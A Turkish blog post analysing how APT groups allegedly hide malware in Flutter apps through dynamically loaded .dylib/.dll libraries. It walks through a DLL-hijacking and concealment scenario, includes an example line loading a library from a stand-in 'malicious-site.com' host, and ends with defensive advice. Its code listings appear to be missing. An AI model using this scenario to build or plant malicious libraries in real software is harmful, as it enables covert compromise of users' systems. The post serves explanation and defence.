BLOG

Yazıda sunulan analizler, CyberMaterial tarafından hazırlanmış olan “Hackers Embed Malware in macOS Flutter Apps” haberinden ilham alınarak hazırlanmıştır.



Giriş

Günümüz siber güvenlik tehditleri, yalnızca bireysel zararlı yazılımların keşfiyle değil, tehdit aktörlerinin organizasyonel düzeydeki karmaşık sratejileriyle de şekillenmektedir. Advanced Persistent Threats (APT), özellikle uzun vadeli hedefler belirleyen ve bu hedeflere ulaşmak için sofistike saldırı teknikleri geliştiren tehdit aktörlerini tanımlamak için kullanılan bir terim olarak karşımıza çıkmaktadır. Bu yazımda, Flutter Framework’u kullanılarak oluşturulan zararlı yazılımlar üzerinden, Kuzey Kore destekli olduğu iddia edilen APT gruplarının yöntemlerini analiz ettim. Bu zararlı yazılımlar, özellikle macOS platformunu hedef almakta ve meşru görünümleriyle güvenlik sistemlerini aşmaktadır.


Keyifli okumalar dilerim.



1. APT (Advanced Persistent Threads) Nedir?

APT belirli bir kuruluşu veya sektörü hedef alan kimi zaman kişilere de yönelik olabilen uzun vadeli casusluk veya zarar verme amacı taşıyan sofistike saldırı gruplarını ifade eder.


Bu tehdit aktörleri genellikle ulus-devletler tarafından desteklenir (bknz: Yeni Nesil Tehditler: APT Grupları Taktik, Teknik ve Prosedürleri) ve saldırılarında şu unsurlar bulunur;


  • Hedef Odaklı Olmak: Belirli bir sektöre, şirkete veya coğrafi bölgeye odaklanmak.
  • Uzun Süreli Eylem: APT grupları, hedef sistemlere sızdıktan sonra aylarca hatta yıllarca varlığını sürdürebilir.
  • Sofistike Araçlar ve Teknikler: Özel olarak geliştirilmiş kötü amaçlı yazılımlar ve istismarlar kullanılır.
  • Kapsamlı İzleme ve Analiz: Hedefin ağ yapısı ve zaylıflıkları üzerine uzun süreli bilgi toplama.

Kuzey Kore minvalinde ise Lazarus Group (APT38) gibi gruplar, bu tanımlamaya tam anlamıyla uyan ve genellikle finansal kazanç veya stratejik bilgi elde etme amacı güden APT örnekleridir.


NOT: APT38, Lazarus Group’unfinansal sistemleri hedef alan operasyonlarına odaklanmış bir alt grubu olarak tanımlanır. Örneğin, SWIFT uluslararası ödeme sistemlerini hedefleyen saldırılar APT38’in en bilinen operasyonları arasındadır. (bknz: APT38 – Un-usual Suspects)




2. Saldırı Vektörleri

Bu bölümde, Flutter çerçevesi kullanılarak oluşturulan zararlı yazılımların neden etkili olduğunu ve APT aktörlerinin bu teknolojiyi nasıl kullandığını detaylandıracağım;


Tehdit aktörlerinin Flutter kullanımındaki avantajları şunlardır;


  • Flutter’ın cross-platform geliştirme özellikleri, hem macOS hem de iOS kullanıcılarını hedef almak için ideal bir ortam sunar.
  • Kodun büyük ölçüde Dart dilinde gizlenmesi, kötü amaçlı aktivitelerin tespit edilmesini zorlaştırır. Bu yapı, Flutter tarafından kullanılan .dylib (Dynamic Library) dosyalarına yerleştirilmiş zararlı kodların fark edilmesini önler. Bunu irdelemek önemlidir.


Dart dilinin yapısı, kötü amaçlı yazılımların tespit edilmesini zorlaştıran birkaç benzersiz özellik sunar. Bu özellikler Flutter Framework ile birleştiğinde, zararlı kodun gizlenmesine ve tespit edilmeden çalıştırılmasına olanak tanır. Dart’ın bu avantajları şu şekildedir;


  • Ahead-of-Time (AOT) Derleme: Dart, Flutter uygulamalarında sıklıkla AOT derleme kullanır. Bu derleme yöntemi;

Kodun, uygulama yüklenmesinden önce çalıştırılabilir bir forma dönüştürülmesini sağlar.


Derlenen kod, insan tarafından okunabilir olmaktan çıkar ve Reverse Engineering çabalarını zorlaştırır.


Statik analiz araçlarının, kötü amaçlı davranışları kod içinde doğrudan tespit etmesini engeller.


Dart’ın AOT derleme yöntemi, diğer dillerdeki dinamik yorumlama süreçlerine kıyasla daha kapalı bir kod yapısı oluşturur. Örneğin, Python veya JavaScript kodları genellikle doğrudan yorumlanabilir ve analiz edilebilirken, Dart kodu doğrudan makine diline çevrildiği için okunamaz hale gelir.



Gelelim “Dinamik ve Yerel Kütüphane Entegrasyonu”na;

Flutter uygulamaları, Dart kodunu dinamik kütüphaneler aracılıyla yürütebilir (bknz: dylib).

Bu, zararlı kodun uygulama dosyasının dışına, dinamik olarak yüklenecek bir kütüphaneye taşınmasını sağlar.

Zararlı kodun doğrudan ana uygulama dosyasında bulunmasını engeller ve bu nedenle statik analizle tespit edilmesini zorlaştırır.

Dart’ın “Native” kodla sıkı entegrasyonu, kötü amaçlı kodun farklı bir modülde çalıştırılmasına olanak tanır. Özellikle .dylib gibi yapıların kullanımı, kodu uygulamadan izole eder ve kötü amaçlı içeriklerin gizlenmesini kolaylaştırır.



3. Obfuscation (Kod Karartma)

Dart, Obfuscation yöntemlerine müsait bir yapı barındırmaktadır. Bu çerçevede şunları söyleyebiliriz;

Fonksiyon ve değişken isimlerini anlamsız hale getirerek kodun analiz edilmesini zorlaştırabiliriz. Zararlı kodun hangi kısımda çalıştığını anlamayı daha karmaşık hale getirebiliriz.



Dart’ın diğer programlama dillerinden bu çerçevede ayırt edici bir özellik sunmasının ana nedenlerinden biri Flutter uygulamalarıyla sıkı bir şekilde entegre etmesi, kötü amaçlı yazılımları daha az fark edilebilir hale getirmesi durumudur.



4. Dinamik Yükleme Nedir?

Dylib (Dynamic Library – Dinamik Kütüphane) dosyaları, uygulama çalıştırıldığında dinamik olarak yüklenri. Bu:


Zararlı kodun uygulamanın başlangıç aşamasında yüklenmemesine neden olur, böylece geleneksel analiz araçları bu kodu gözden kaçırabilmektedir. Dinamik yükleme sırasında kötü amaçlı davranışları maskeleyebilirler.



4.1 İzolasyon

Dylib dosyaları, ana uygulamalardan bağımsız modüller olarak çalışır. Bu;

Kodun farklı bir dosyada saklanmasına ve yalnızca çağrıldığında yürütülmesine olanak tanır. Zararlı kodun doğrudan uygulama ikili dosyasında bulunmasını engeller.


Bir dylib dosyası içindeki kod, uygulamanın bir parçası olarak algılanmaz, bu da kötü amaçlı yazılım tespiti için uygulanan geleneksel yöntemleri etkisiz hale getirebilir.



5. Dynamic Library ve Flutter Tabanlı Uygulamalarda Güvenlik Zafiyetleri

5.1 DLL Hijacking

DLL Hijacking, bir uygulamanın meşru bir DLL (.dll) dosyasını yüklemeye çalışırken, saldırgan tarafından yerleştirilen sahte bir DLL dosyasını yanlışlıkla yüklemesiyle gerçekleştirilir.


5.1.1 Risk

  • DynamicLibrary sınıfı ile bir DLL (.dll) dosyası yüklenirken, eğer tam yol belirtilmemişse (örneğin, DynamicLibrary.open(‘native.dll’)), Flutter uygulaması DLL arama yolunu kullanarak dosyayı bulmaya çalışır. Bu sırada saldırgan, arama yoluna kendi zararlı DLL (.dll) dosyasını yerleştirebilir.
  • Özellikle, sistemin “PATH” değişkeninde listelenen dizinlerde sahte DLL’ler bulundurulabilir.


5.2 Zararlı DLL Dosyalarının Dinamik Yüklenmesi

Flutter uygulaması, meşru bir dosya yerine saldırgan tarafından kontrol edilen bir DLL dosyasını yüklediğinde, bu dosya zararlı kodu çalıştırabilir.


5.2.1 Risk

  • DynamicLibrary.open() kullanılarak uzaktan indirilen veya güvenilir olmayan bir kaynaktan alınan DLL dosyaları yüklendiğinde, zararlı aktiviteler başlatılabilir.
  • Saldırgan, bu yöntemi kullanarak hedef sistem üzerinde veri çalma, kimlik bilgilerini ele geçirme veya sistem kontrolünü ele geçirme gibi işlemleri gerçekleştirebilir.

5.3 Kod ile Manipülasyon ve Bellek Tabanlı Injection

DLL dosyaları, uygulamanın bellek alanına yüklendiği için, saldırgan bu bellek alanında manipülasyon yapabilir veya kod enjeksiyonu gerçekleştirebilir.


5.3.1 Risk

  • Yüklü DLL dosyasındaki açıklar veya zararlı kod, doğrudan Flutter uygulamasının çalışmasını etkileyebilir. Örneğin, bir oyun uygulaması üzerinden bellek alanına enjekte edilen kodlar, kullanıcı verilerini çalabilir veya uygulama davranışını değiştirebilir.

5.4 Flutter Cross-Platform Yapısının Kötüye Kullanılması

Flutter uygulamaları hem Windows hem macOS sistemlerinde çalışabilmek için yerel kütüphanelerle (DLL veya dylib) dinamik olarak etkileşime girer.


5.4.1 Risk

  • Platformlar arası uyumluluk sağlamak için birden fazla kütüphane kullanılabilir. Bu durum, saldırganın farklı sistemlerde farklı zararlı DLL veya dylib dosyaları yerleştirmesini kolaylaştırır.


6. Flutter’da DLL’in Kötü Amaca Yönelik Kullanılması Çerçevesinde bir Senaryo

6.1 .dll ‘in Çalışma Mekanizması

Dinamik Yükleme:

Uygulamalar, ihtiyaç duydukları işlevleri yerine getirmek için LoadLibrary veya LoadLibraryEx gibi API’lar aracılığıyla .dll dosyalarını dinamik olarak yükler. Örneğin;

Yukarıdaki kodun işlevi, sistemde mevcut olan bir .dll dosyasını dinamik olarak yüklemek ve bunun üzerinden belirli bir işlemi gerçekleştirmektir.


  • “DynamicLibrary.open(‘native.dll’);

Eğer kütüphane yüklenebilirse, sistem bu .dll dosyasındaki işlevleri çalıştırmaya hazır hale gelir. Bunun yanı sıra eğer bu kod, doğru bir dosya yolunu belirtmiyorsa, sistem varsayılan yolları kullanarak bir DLL arar. Bu durumda, bir saldırgan, aynı ada sahip zararlı bir DLL dosyasını, uygulamanın arama yaptığı yollardan birine yerleştirerek DLL hijacking saldırısı gerçekleştirebilir. Veya Kod, dinamik olarak farklı bir sunucudan indirilen bir DLL dosyasını yüklemek üzere değiştirilebilir;

return DynamicLibrary.open(‘http://malicious-site.com/malicious.dll’);

gibi.


  • Durum: bir Flutter uygulaması, dinamik bir kütüphane aracılığıyla matematiksel işlemler yapmak için bir fonksiyon (add) çağırsın. Ancak bu dinamik kütüphane, saldırgan tarafından değiştirilmiş ve arka planda gizli bir zararlı işlev içeriyor olsun.

6.2 Saldırganın Zararlı Kodu Yazması

Saldırgan, zararlı bir yerel kütüphane (DLL) veya dinamik bir kütüphane (dylib) oluşturur. Bu kütüphane, işletim sistemi üzerinde kötü amaçlı bir işlem gerçekleştir.

Buradaki malicious_function, dışarıdan gelen bir girdiyi işliyor ve herhangi bir işlem yapabilir. Örneğin:


  • Sistem bilgilerini toplamak.
  • Kritik dosyaları manipüle etmek.
  • Bir başka kötü amaçlı yazılımı başlatmak.

Kod Karartma: Kod açık ve anlaşılır yazılmış olsa da, ileride bu fonksiyon obfuscation (karartma) teknikleriyle karmaşık hale getirilebilir.


6.3 Kütüphaneyi Gizlenebilir Hale Getirme

  • gcc derleyicisi kullanılarak bir DLL dosyası oluşturulur.
  • -shared: Dinamik bir kütüphane oluşturulmasını sağlar.
  • native.dll: Çıkış dosyasının adıdır.
  • -m64: 64-bit sistemler için derleme yapılır.
  • Sonuç: Zararlı kod artık bir DLL dosyası içerisinde gizlenmiş durumdadır.

6.4 Zararlı DLL’nin Bir Dart Uygulamasına Entegre Edilmesi

Saldırgan, oluşturduğu bu zararlı DLL’yi bir Dart uygulamasına entegre ederek masum bir uygulama görüntüsü verir. Dart uygulaması şu şekilde yapılandırılır:


  • Dart uygulaması, DynamicLibrary sınıfını kullanarak sistemdeki bir DLL dosyasını dinamik olarak yükler.
  • DLL içerisindeki malicious_function isimli fonksiyon, Dart kodu tarafından çağrılır ve çalıştırılır.
  • Dart uygulaması masum bir görüntü verse de, aslında kötü amaçlı işlemleri DLL aracılığıyla gerçekleştirmektedir.

6.5 DLL’nin Gizlenmesi

  • DLL dosyası, farklı bir konuma taşınır ve uygulama bu konumdan dosyayı yükler.
  • Dinamik olarak yüklenmesi nedeniyle, statik analiz araçları doğrudan DLL’nin işlevini göremez.

Son olarak uygulamanın çalıştırılması;

Saldırgan, bu Dart uygulamasını çalıştırır ve DLL içindeki zararlı kodun çalışmasını sağlar.



7. STATİK KÜTÜPHANELER ve DLL ARASINDAKİ FARKLAR

ÖzellikStatik Kütüphaneler (.lib)Dinamik Kütüphaneler (.dll)
Bağlantı ZamanıDerleme sırasında bağlanırÇalışma zamanı sırasında yüklenir
Bellek KullanımıKod her uygulamanın içinde yer alırBellek kullanımı paylaşılır
EsneklikDaha az esnekDaha fazla esnek
GüncellemeHer uygulama yeniden derlenmelidirDLL tek başına güncellenebilir
STATİK KÜTÜPHANELER ve DLL ARASINDAKİ FARKLAR


8. Savunma Perspektifi ve İyileştirme Önerileri

  • Dijital İmza ve Dosya Bütünlüğü Kontrolü: DLL/dylib dosyalarının dijital imzası doğrulanmalı ve yalnızca imzalı dosyalar yüklenmelidir.
  • Dinamik Analiz: Bellek içindeki dinamik yüklemeler, güvenlik araçları tarafından izlenmeli ve anormallikler tespit edilmelidir. Process Monitor (Sysinternals) gibi araçlar bu süreçte kullanılabilir.
  • DLL Arama Yolunun Güvenliği: DLL dosyalarının yalnızca bilinen ve güvenilir dizinlerden yüklenmesi sağlanmalıdır. DLL arama yolu kısıtlamaları uygulanabilir.
  • Kod Analizi ve Denetim: Flutter uygulamalarının içinde çağrılan DLL veya dylib dosyalarının işlevleri düzenli olarak analiz edilmeli ve tersine mühendislik yapılmalıdır.







ORTAMLAR ve KAYNAKLAR

1. Donanım Gereksinimleri

  • RAM: Minimum 8 GB RAM, önerilen 16 GB RAM (Simülasyon ortamının daha akıcı çalışabilmesi için).
  • Depolama: SSD ile en az 20 GB boş alan.
  • Ekran Kartı: Grafik yoğun Flutter projeleri için NVIDIA veya AMD GPU önerilir.


2. Geliştirme Ortamı

  • Flutter SDK: Flutter ile Windows destekli uygulama geliştirmek için.
  • Dart SDK: Flutter’ın çekirdeği olarak.
  • Visual Studio Code: Kod yazma ve yönetimi için.
  • Visual Studio: Visual Studio, Flutter’ın masaüstü desteğini etkinleştirmek için gereken C++ geliştirme araçlarını sağlar.

3. Derleyiciler ve Araçlar

  • MinGW: Native C kodlarını derleyip DLL dosyası oluşturmak için.
  • İndirilebilir: https://sourceforge.net/projects/mingw/
  • gcc: MinGW ile gelen derleyici.
  • Windows Powershell veya CMD: Terminal işlemleri için.

4. Yazılım Bileşenleri

  • ffi Kütüphanesi (Flutter): Flutter’ın native DLL veya dylib ile etkileşime girmesi için.
  • pubspec.yaml Dosyası: Projede kullanılacak bağımlılıkların tanımlandığı dosya.
  • dependencies: içinde ffi kütüphanesinin tanımlanması gereklidir.
  • DLL Dosyası (native.dll)
  • Flutter Projesi

KAYNAKLAR

No responses yet

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Latest Comments

  1. yusuf dalbudak